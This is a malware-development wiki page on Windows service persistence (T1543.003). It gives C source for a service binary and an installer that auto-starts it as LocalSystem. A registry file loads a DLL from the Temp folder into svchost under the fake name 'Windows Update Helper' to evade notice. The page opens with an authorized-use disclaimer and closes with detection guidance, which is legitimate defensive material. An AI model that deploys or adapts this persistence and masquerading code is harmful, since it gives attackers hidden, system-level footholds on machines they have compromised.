Skip to content
λmaldev wiki/
pagesWindows Service Creation
T1543.003WindowsC / C++PowerShellSCM

Windows Service Creation

updated 2026-08-047 min readthehackersbrain
Authorized use only. This material is published for detection engineering, malware analysis and authorized red-team engagements. Running these techniques against systems you do not own or have written permission to test is illegal.

Overview

A Windows service starts automatically at boot, runs under the SYSTEM account by default, and survives user logoff. It is one of the most reliable persistence mechanisms on Windows, at the cost of requiring administrator rights to install and generating a clearly auditable event (EID 7045) that no tuning can suppress.

A malicious service follows the same structure as a legitimate one: a binary with a ServiceMain function that calls StartServiceCtrlDispatcher and handles control codes (SERVICE_STOP, SERVICE_PAUSE_CONTINUE). Without a proper dispatcher, the SCM marks the service as failed immediately.

Note.

EID 7045 is generated for every new service install, on every Windows version, with no audit policy required. It cannot be suppressed through registry manipulation or log clearing without a noticeable gap. Any detection stack that consumes the System event log will see it.

The call chain

  1. 1
    OpenSCManager(SC_MANAGER_CREATE_SERVICE)
    Connect to the Service Control Manager — requires admin or SeServiceLogonRight.
  2. 2
    CreateService(SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START)
    Register the service binary with auto-start type and SYSTEM or a service account principal.
  3. 3
    StartService (optional)
    Start the service immediately; otherwise it starts at the next boot.
  4. 4
    (on boot) SCM launches the service binary
    The service binary receives a SERVICE_START control code and calls StartServiceCtrlDispatcher.

Reference implementation

Service binary

malservice.cC
#include <windows.h>

SERVICE_STATUS        g_status  = {0};
SERVICE_STATUS_HANDLE g_handle  = NULL;

VOID WINAPI service_ctrl(DWORD ctrl) {
  if (ctrl == SERVICE_CONTROL_STOP) {
      g_status.dwCurrentState = SERVICE_STOPPED;
      SetServiceStatus(g_handle, &g_status);
  }
}

VOID WINAPI service_main(DWORD argc, LPWSTR *argv) {
  g_handle = RegisterServiceCtrlHandlerW(L"UpdateSvc", service_ctrl);

  g_status.dwServiceType             = SERVICE_WIN32_OWN_PROCESS;
  g_status.dwCurrentState            = SERVICE_RUNNING;
  g_status.dwControlsAccepted        = SERVICE_ACCEPT_STOP;
  g_status.dwWin32ExitCode           = NO_ERROR;
  SetServiceStatus(g_handle, &g_status);

  // payload runs here — use a separate thread for long-running work
  HANDLE t = CreateThread(NULL, 0,
      (LPTHREAD_START_ROUTINE)payload_thread, NULL, 0, NULL);
  WaitForSingleObject(t, INFINITE);

  g_status.dwCurrentState = SERVICE_STOPPED;
  SetServiceStatus(g_handle, &g_status);
}

int wmain(void) {
  SERVICE_TABLE_ENTRYW table[] = {
      { L"UpdateSvc", service_main },
      { NULL, NULL }
  };
  StartServiceCtrlDispatcherW(table);
  return 0;
}

Installer

install.cC
#include <windows.h>

void install_service(const wchar_t *name, const wchar_t *binary_path) {
  SC_HANDLE scm = OpenSCManagerW(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
  if (!scm) return;

  SC_HANDLE svc = CreateServiceW(
      scm,
      name,                           // service name (registry key)
      name,                           // display name
      SERVICE_ALL_ACCESS,
      SERVICE_WIN32_OWN_PROCESS,
      SERVICE_AUTO_START,             // start at boot
      SERVICE_ERROR_NORMAL,
      binary_path,                    // ImagePath
      NULL,                           // no load ordering group
      NULL, NULL,                     // no tag, no dependencies
      L"LocalSystem",                 // run as SYSTEM
      NULL                            // no password
  );

  if (svc) {
      StartServiceW(svc, 0, NULL);    // start now, don't wait for reboot
      CloseServiceHandle(svc);
  }
  CloseServiceHandle(scm);
}

void remove_service(const wchar_t *name) {
  SC_HANDLE scm = OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT);
  SC_HANDLE svc = OpenServiceW(scm, name, SERVICE_STOP | DELETE);
  SERVICE_STATUS st;
  ControlService(svc, SERVICE_CONTROL_STOP, &st);
  DeleteService(svc);
  CloseServiceHandle(svc);
  CloseServiceHandle(scm);
}

Service types

Type ImagePath Notes
SERVICE_WIN32_OWN_PROCESS Path to EXE Own process; most common
SERVICE_WIN32_SHARE_PROCESS Path to EXE Shares svchost.exe process
SERVICE_KERNEL_DRIVER Path to SYS Kernel driver; requires signing on 64-bit
SERVICE_FILE_SYSTEM_DRIVER Path to SYS Filesystem minifilter

Service sharing (SERVICE_WIN32_SHARE_PROCESS) is how legitimate svchost groups work. A malicious DLL registered as a shared service loads into an existing svchost process, making it much harder to identify by process image path.

shared_svc_reg.regregistry
; Register a DLL as a shared service loaded into svchost -k netsvcs
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UpdateSvc]
"Description"="Windows Update Helper"
"DisplayName"="Windows Update Helper"
"ErrorControl"=dword:00000001
"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,73,00,76,00,63,00,68,00,6f,00,73,00,74,00,2e,00,65,00,78,00,65,00,20,00,2d,00,6b,00,20,00,6e,00,65,00,74,00,73,00,76,00,63,00,73,00,00,00
"ObjectName"="LocalSystem"
"Start"=dword:00000002
"Type"=dword:00000020

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UpdateSvc\Parameters]
"ServiceDll"="C:\\Windows\\Temp\\update.dll"

Detection

WINDOWS EID 7045
System log event for new service installation — always generated, requires no special audit policy.
SYSMON EID 1
services.exe spawning the new service binary for the first time.
REGISTRY
New key under HKLM\SYSTEM\CurrentControlSet\Services with an ImagePath pointing to a non-standard location.
INVENTORY
Enumerate services and alert on any whose ImagePath is outside System32, Program Files, or approved vendor paths.

EID 7045 is non-negotiable: it fires on every service install and cannot be suppressed. Any SIEM that ingests the Windows System log will capture it. The most useful enrichment is resolving the ImagePath and checking whether it is signed, where it lives, and whether its hash is known. An unsigned binary outside System32 or Program Files is an immediate escalation.

Was this page useful?edit this page ↗